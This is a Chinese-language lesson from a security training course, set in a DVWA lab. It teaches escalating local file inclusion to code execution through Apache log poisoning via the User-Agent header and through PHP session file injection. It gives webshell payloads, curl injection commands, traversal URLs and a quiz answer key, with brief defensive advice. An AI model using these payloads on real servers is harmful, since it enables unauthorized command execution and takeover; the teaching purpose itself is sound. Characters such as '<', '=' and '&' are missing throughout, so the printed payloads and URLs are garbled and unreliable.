以下是第八周周三学习内容的详细展开。昨天你通过伪协议和图片马实现了代码执行今天你将掌握两种更隐蔽、更巧妙的 LFI 利用技巧——日志文件包含与session 文件包含。这两种方法不需要上传文件只需污染服务器本已存在的文件让攻击者在不直接上传木马的情况下获得 Shell。第八周·周三日志文件包含、Session 文件包含 今日学习目标达成效果能描述日志文件包含的原理将 PHP 代码通过 HTTP 请求写入服务器日志如 Apache access.log再利用 LFI 包含该日志文件使代码被执行能独立完成通过污染 User-Agent 或请求 URI 将一句话木马写入日志并使用 LFI 触发执行的完整攻击链能解释Session 文件包含的原理用户可控制的输入被存储到 PHP Session 文件中通过 LFI 包含 Session 文件执行代码能在 DVWA 或自建靶场上完成 Session 文件包含利用先向 Session 注入恶意代码再通过文件包含获取 Shell能对比三种 LFI 转代码执行手法伪协议、日志包含、Session 包含的适用场景与限制条件能从防御者视角提出针对性的修复方案日志文件设置严格权限、Session 序列化安全管理、禁用无关伪协议、路径白名单。 一、日志文件包含让服务器记录你的“恶意脚印”1. 原理Web 服务器如 Apache、Nginx会详细记录每一次请求的信息包括访问时间、客户端 IP、请求方法、URI、User-Agent 等。这些日志默认存储在可预测的路径下如Apache/var/log/apache2/access.log或/var/log/httpd/access_logNginx/var/log/nginx/access.log攻击者如果在 HTTP 请求的某个字段如 User-Agent中插入 PHP 代码该代码就会被原样记录到日志文件中。由于日志文件通常是纯文本不包含?php标签以外的可执行代码但如果攻击者通过 LFI 包含这个日志文件PHP 解释器就会扫描整个文件遇到?php ... ?即执行其中的代码。攻击链攻击者发送一个包含恶意 PHP 代码的 HTTP 请求例如 User-Agent:?php system($_GET[cmd]); ?。服务器记录该请求日志文件中写入一行包含该代码的文本。攻击者利用 LFI 漏洞包含该日志文件如?page../../../var/log/apache2/access.log。日志文件被包含并执行攻击者通过cmd参数控制服务器。2. 常见污染点User-Agent最常用不易被过滤请求 URI如果 URI 被记录且未过滤RefererX-Forwarded-For若日志记录3. 利用条件日志文件路径已知且可被包含。Web 服务器进程对日志文件有读取权限通常有。日志文件中有 PHP 代码未被清理大部分默认安装无过滤。LFI 漏洞存在允许路径回溯至日志目录。✍️ 动手实践一污染 Apache 日志并包含执行环境DVWA File Inclusion 关卡 (Low)靶机运行 Apache2。步骤 1确定日志路径常见的 Apache2 日志路径为/var/log/apache2/access.log。可在 LFI 中通过多次../回溯尝试确认?page../../../../var/log/apache2/access.log如果页面返回日志内容一堆 HTTP 请求记录则路径正确。若为 Nginx尝试/var/log/nginx/access.log。步骤 2注入 PHP 代码到 User-Agent使用 BurpSuite 拦截任意一个发往靶机的请求例如访问 DVWA 首页修改其User-Agent头为?php system($_GET[cmd]); ?放行请求。该代码会被记录到 access.log 中。或者直接用 curl 发送curl-A?php system(\$_GET[cmd]); ?http://靶机/DVWA/index.php注意转义$_GET中的$符号防止 shell 解释。步骤 3通过 LFI 包含日志并执行命令访问http://靶机/vulnerabilities/fi/?page../../../../var/log/apache2/access.logcmdid页面会显示日志内容但中间会夹杂uidwww-data...等命令输出。由于日志中可能包含大量记录命令输出可能被分散在多个地方但已证明代码被执行。进阶可在一句话中写入更隐蔽的 webshell如?php eval($_POST[pass]);?包含后用蚁剑连接。步骤 4排查日志混淆有时日志行中可能因 URL 编码或特殊字符导致 PHP 代码被截断。可先在本地构造完整的 payload 并编码测试。更稳妥的方法是使用简短的一句话?php eval(file_get_contents(php://input));?然后通过 POST 传递命令。测试题相关今天测试题将要求写出污染 User-Agent 并包含执行whoami的完整步骤。 二、Session 文件包含利用服务端的临时记忆1. 原理PHP 默认将 Session 数据以文件形式存储在服务器上路径通常在/tmp/sess_PHPSESSID或/var/lib/php/sessions/下文件名可预测已知自己的 Session ID。Session 文件的内容是序列化后的 Session 变量。如果攻击者能控制 Session 中的某个变量例如通过一个用户资料编辑功能将用户名改为?php system(id);?该值就会写入 Session 文件。然后利用 LFI 包含自己的 Session 文件/tmp/sess_自己的PHPSESSID即可执行其中的 PHP 代码。攻击链攻击者在目标站点注册或修改个人信息在某个字段如用户名、留言中填入 PHP 代码。站点将该数据存入 Session如$_SESSION[username] $user_input。攻击者获取自己的 PHPSESSID浏览器 Cookie 中可见。通过 LFI 包含/tmp/sess_PHPSESSID或相应路径。PHP 代码被执行。2. 利用条件站点存在将用户可控数据存入 Session 且未过滤。Session 文件存储路径可预测通常是/tmp/sess_ PHPSESSID。LFI 漏洞能够访问该路径。Session 文件内容中的 PHP 代码未被破坏序列化格式可能导致代码前后被添加字符但通常仍可执行因为 PHP 会尝试解析。注意由于 Session 文件通常包含序列化前缀如username|s:20:?php ...直接包含可能会因为序列化语法错误导致执行失败。但很多时候只要?php标签存在PHP 就会尝试执行其内容非代码部分只会当作纯文本输出。更可靠的做法是调整 payload 使其闭合序列化边界但这属于进阶技巧今天仅需掌握基本原理和简单利用。3. 常见 Session 存储路径/tmp/sess_id/var/lib/php/sessions/sess_id可通过phpinfo()查看session.save_path确定。✍️ 动手实践二利用 DVWA 完成 Session 文件包含环境DVWA File Inclusion (Low) 其他关卡配合。DVWA 的存储型 XSS 或个人资料功能可能不使用 Session 存储但我们可以用自己的代码模拟或者利用 PHP 自身 session 机制。如果 DVWA 没有直接可控的 Session 变量可在本地搭建一个更简单的演示环境。为了确保实验成功我们编写一个极简的 PHP 文件session_injection.php放到靶机 Web 目录?phpsession_start();if(isset($_GET[input])){$_SESSION[user]$_GET[input];echoSession stored.;}else{echoSession value: .$_SESSION[user];}?攻击步骤访问http://靶机/session_injection.php?input?php system(id);?将 PHP 代码存入 Session。从浏览器 Cookie 中获取自己的 PHPSESSID假设为abc123def。通过 LFI 漏洞包含 Session 文件?page../../../../tmp/sess_abc123def或者先猜测路径。Linux 下通常为/tmp/sess_ ID。页面将输出uid...等系统信息证明代码执行。如果路径不对可通过 LFI 读取/proc/self/fd/或遍历常见 session 目录。更高级的技术是借助phpinfo()泄露 session 路径今天暂不展开。安全启示Session 文件包含提醒我们任何用户可控制的输入只要可能进入代码执行上下文就是危险的。即使输入被存储到“服务器私密”的 session 文件中一旦与 LFI 结合仍可导致 getshell。 三、课后测试题与解析测试题通过污染 User-Agent 并包含 Apache 日志执行whoami命令。请写出关键步骤和使用的 payload。参考答案确定日志路径通过 LFI 尝试包含../../../../var/log/apache2/access.log确认页面返回日志内容。注入 PHP 代码使用 BurpSuite 或 curl 修改请求的 User-Agent 头为?php system(whoami);?并发送到任意靶机页面。curl-A?php system(whoami);?http://靶机/DVWA/login.php包含日志触发执行访问 LFI 漏洞 URL参数指向日志文件页面将在日志输出中显示www-data或类似用户身份。http://靶机/vulnerabilities/fi/?page../../../../var/log/apache2/access.log若日志中大量信息干扰可查看页面源码搜索www-data定位命令输出。✅ 今日学习效果自检清单我能解释日志包含的原理并说出至少两种可用于注入代码的 HTTP 请求部位我成功通过污染 User-Agent 将一句话木马写入 access.log 并执行了系统命令我理解 Session 文件包含的前提Session 变量可控且路径可预测我在本地或 DVWA 环境中完成了 Session 注入并包含执行我知道日志包含和 Session 包含都是“间接包含”手法不需上传文件我意识到防御 LFI 不仅要限制包含路径还要严格设置日志权限、对 Session 数据也进行安全处理⚠️ 阶段避坑重点日志文件权限部分加固系统将日志权限设为640Web 进程如 www-data可能无法读取导致包含失败。但默认多数发行版允许读取。User-Agent 中的特殊字符如果 PHP 代码包含等需要确保它们在 HTTP 头中不被错误解释。一般直接发送即可但注意某些 WAF 会拦截明显 PHP 代码在头部的传输。Session 文件路径非默认不同 PHP 配置可能导致 session 文件不在/tmp使用phpinfo()或通过其他 LFI 泄露路径是必要的准备。Session 文件权限默认 600只能被 owner 读取Web 进程一般以同一用户运行因此可以包含。包含 Session 文件时的输出噪音序列化数据可能破坏页面显示但不影响代码执行。寻找命令输出时可查看页面源代码。今天你掌握了两种“无文件”的 LFI 高级利用法这意味着即使没有上传点攻击者依然能通过污染服务器现有文件来执行代码。明天我们将进入更暴力的漏洞类型——命令注入届时你将看到直接拼接系统命令带来的毁灭性后果。